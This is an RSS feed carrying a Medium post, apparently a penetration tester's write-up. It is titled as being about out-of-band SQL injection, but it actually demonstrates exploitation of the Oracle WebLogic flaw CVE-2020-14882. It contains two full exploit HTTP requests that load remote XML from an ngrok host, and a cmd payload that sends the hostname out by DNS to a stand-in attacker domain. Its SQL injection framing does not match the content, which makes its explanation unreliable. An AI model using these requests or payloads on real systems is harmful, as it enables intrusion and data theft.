<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ersin Erenler on Medium]]></title>
        <description><![CDATA[Stories by Ersin Erenler on Medium]]></description>
        <link>https://medium.com/@ersinerenler?source=rss-12a4c40f9a34------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5WwnAfUJoEZuX8VfGsMf8Q.jpeg</url>
            <title>Stories by Ersin Erenler on Medium</title>
            <link>https://medium.com/@ersinerenler?source=rss-12a4c40f9a34------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 12:00:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ersinerenler/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Revealing the Sneaky Hack: OOB SQL Injection and Its Real-world Discovery in My Daily Pentesting…]]></title>
            <link>https://medium.com/@ersinerenler/revealing-the-sneaky-hack-oob-sql-injection-and-its-real-world-discovery-in-my-daily-pentesting-ac09c0cad7dc?source=rss-12a4c40f9a34------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac09c0cad7dc</guid>
            <category><![CDATA[vulnerability-discovery]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[defense-strategies]]></category>
            <dc:creator><![CDATA[Ersin Erenler]]></dc:creator>
            <pubDate>Sat, 11 Nov 2023 20:33:04 GMT</pubDate>
            <atom:updated>2023-11-11T20:40:29.265Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*cgE_7V1xP0ehLfcXRhTxQg.png" /><figcaption>Never Trust Any Input</figcaption></figure><h3>Revealing the Sneaky Hack: OOB SQL Injection and Its Real-world Discovery in My Daily Pentesting Journey</h3><h3>Introduction</h3><p>In the ever-changing world of cybersecurity, Out-of-Band (OOB) SQL injection emerges as a subtle yet potent threat, capable of breaching security defenses and opening the door to Remote Code Execution (RCE). This article aims to demystify the complexities of OOB SQL injection, offering a comprehensive insight supported by reliable sources and drawing from a tangible discovery during routine penetration testing in my professional journey.</p><h3>Getting to Know OOB SQL Injection</h3><p>OOB SQL injection is a sophisticated technique that deviates from conventional attack vectors by discreetly extracting data through alternative channels, such as DNS or HTTP requests. This covert maneuver challenges traditional security measures, demanding a nuanced approach to detection.</p><h3>Finding the Hidden Trouble in My Daily Work</h3><p>Detecting OOB SQL injection requires a vigilant eye for subtle anomalies. In a recent penetration testing engagement within the scope of my daily professional activities, I uncovered this vulnerability. The identification involved a combination of manual inspection and automated tools, underscoring the need for a multifaceted approach to security auditing. The insights shared in this article stem directly from this real-world discovery, emphasizing the dynamic nature of cybersecurity threats and the perpetual need for robust defense mechanisms.</p><h3>Playing the OOB SQL Game</h3><p>Upon confirming the presence of OOB SQL injection in these engagements, the exploitation phase involves crafting tailored payloads to manipulate the application’s behavior. This process requires a profound understanding of the underlying database structure and injection points. Commonly, tools like SQLMap and Burp Suite prove invaluable in these endeavors.</p><h3>Revelation in Routine</h3><p>This OOB SQL injection find wasn’t a one-time thing but a real eye-opener in my daily pentesting routine. It’s a clear signal of how cybersecurity threats keep changing, underlining the ongoing importance of solid defense strategies</p><h3>From Sneaky Moves to Big Trouble</h3><p>The transition from data extraction to RCE is pivotal, emphasizing the criticality of securing against OOB SQL injection. Resources such as the OWASP SQL Injection Prevention Cheat Sheet provide actionable guidance on secure coding practices to mitigate SQL injection risks, including OOB scenarios.</p><h3>Stopping the Sneak Attack</h3><p>Mitigating OOB SQL injection risks demands a proactive and comprehensive defense strategy. Implementing input validation, deploying parameterized queries, and conducting regular code reviews are fundamental measures. Continuous monitoring, coupled with the timely application of security patches, serves as a robust line of defense against evolving threats.</p><h3>Vulnerability Discovery</h3><p>During my regular security tests, I came across a major issue — a Command Injection problem that revealed details about the Oracle WebLogic Server version and had the “CVE-2020–14882” vulnerability. The app used the “FileSystemXmlApplicationContext” Java class, making it vulnerable. Using an Out-of-Band (OOB) method, the app read an XML file. This file, hosted on a Kali machine using the ngrok tool, redirected traffic, allowing interpretation and responses through a Python HTTP server.</p><p>Details of the HTTP request made for vulnerability detection are as follows:</p><pre>POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1<br>Host: vulnerable.site<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Accept-Encoding: gzip, deflate<br>Accept-Language: zh-CN,zh;q=0.9<br>Connection: close<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 178<br>_nfpb=true&amp;_pageLabel=&amp;handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(&quot;http://&lt;ngrok&gt;/poc_hostname.xml&quot;)</pre><p>The response returned as a result of the request is given below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*Y8eOGzLyzVj2BPv_qRcsgg.png" /><figcaption>The response</figcaption></figure><p>The ‘poc.xml’ file delivered from the Kali machine was successfully read and processed by the application along with this request. The screenshot of the request made to the opened HTTP server in Kali is provided as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*t8N_U9Xgv7aXAab_Ln1xfw.png" /><figcaption>Running HTTP server in Python</figcaption></figure><p>The XML file delivered through the HTTP server is provided below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*NDKa9T7vC5K2zqeALlA4bA.png" /><figcaption>The Delivered XML File(poc.xml)</figcaption></figure><p>The response from the “Collaborator” tool of Burp Proxy after the request is as shown in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CANXBJYQ9UEanaj5Pfzd7w.png" /><figcaption>The Request Received by Collaborator</figcaption></figure><p>When the following payload is executed using the out-of-band method, it is determined that the “hostname” command is executed, and the response is read through a DNS query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*HGXl9OyG7yEaVLN0s1GlUQ.png" /><figcaption>The Delivered XML File (poc_hostname.xml)</figcaption></figure><p><a href="https://notsosecure.com/out-band-exploitation-oob-cheatsheet">Payload:</a></p><pre>cmd /v /c &quot;hostname &gt; temp &amp;&amp; certutil -encode temp temp2 &amp;&amp; findstr /L /V &quot;CERTIFICATE&quot; temp2 &gt; temp3 &amp;&amp; set /p MYVAR=&lt;temp3 &amp;&amp; set FINAL=!MYVAR!.oob.dnsattacker.com &amp;&amp; nslookup !FINAL!&quot;</pre><p>The request made to read this file is provided below.</p><pre>POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1<br>Host: vulnerable.site<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Wiaaandows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Accept-Encoding: gzip, deflate<br>Accept-Language: zh-CN,zh;q=0.9<br>Connection: close<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 178<br>_nfpb=true&amp;_pageLabel=&amp;handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(&quot;http://ngrok.domain/poc_hostname.xml&quot;)</pre><p>Along with this request, the ‘poc_hostname.xml’ file published from the Kali machine was successfully read and processed by the application. The screenshot of the request made to the opened HTTP server at Kali is provided below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*p0sLWHQeKbOuUP-b4Oe4Aw.png" /><figcaption>Running HTTP server in Python</figcaption></figure><h3>Out-of-Band Execution</h3><p>When the payload using the out-of-band method was executed, the “hostname” command was invoked, and the response was read through a DNS query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*72ncUcLyCeXH49spUHIrUQ.png" /><figcaption>The Request Received by Collaborator</figcaption></figure><p>When the obtained base64 code is decoded, the hostname is revealed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SHqPzFM1buC9NCZIXq3iew.png" /><figcaption>Hostname</figcaption></figure><h3>Conclusion</h3><p>This discovery highlights the dynamic nature of cybersecurity threats encountered during routine penetration testing. The article sheds light on the intricacies of this covert vulnerability, emphasizing the need for robust defense mechanisms in the ever-evolving cybersecurity landscape.</p><h3>References:</h3><ul><li><a href="https://www.invicti.com/blog/web-security/oracle-weblogic-remote-code-execution-vulnerability-analysis/">https://www.invicti.com/blog/web-security/oracle-weblogic-remote-code-execution-vulnerability-analysis/</a></li><li><a href="https://notsosecure.com/out-band-exploitation-oob-cheatsheet">https://notsosecure.com/out-band-exploitation-oob-cheatsheet</a></li><li><a href="https://www.cnblogs.com/dxmbrsl/p/14672850.html">https://www.cnblogs.com/dxmbrsl/p/14672850.html</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac09c0cad7dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>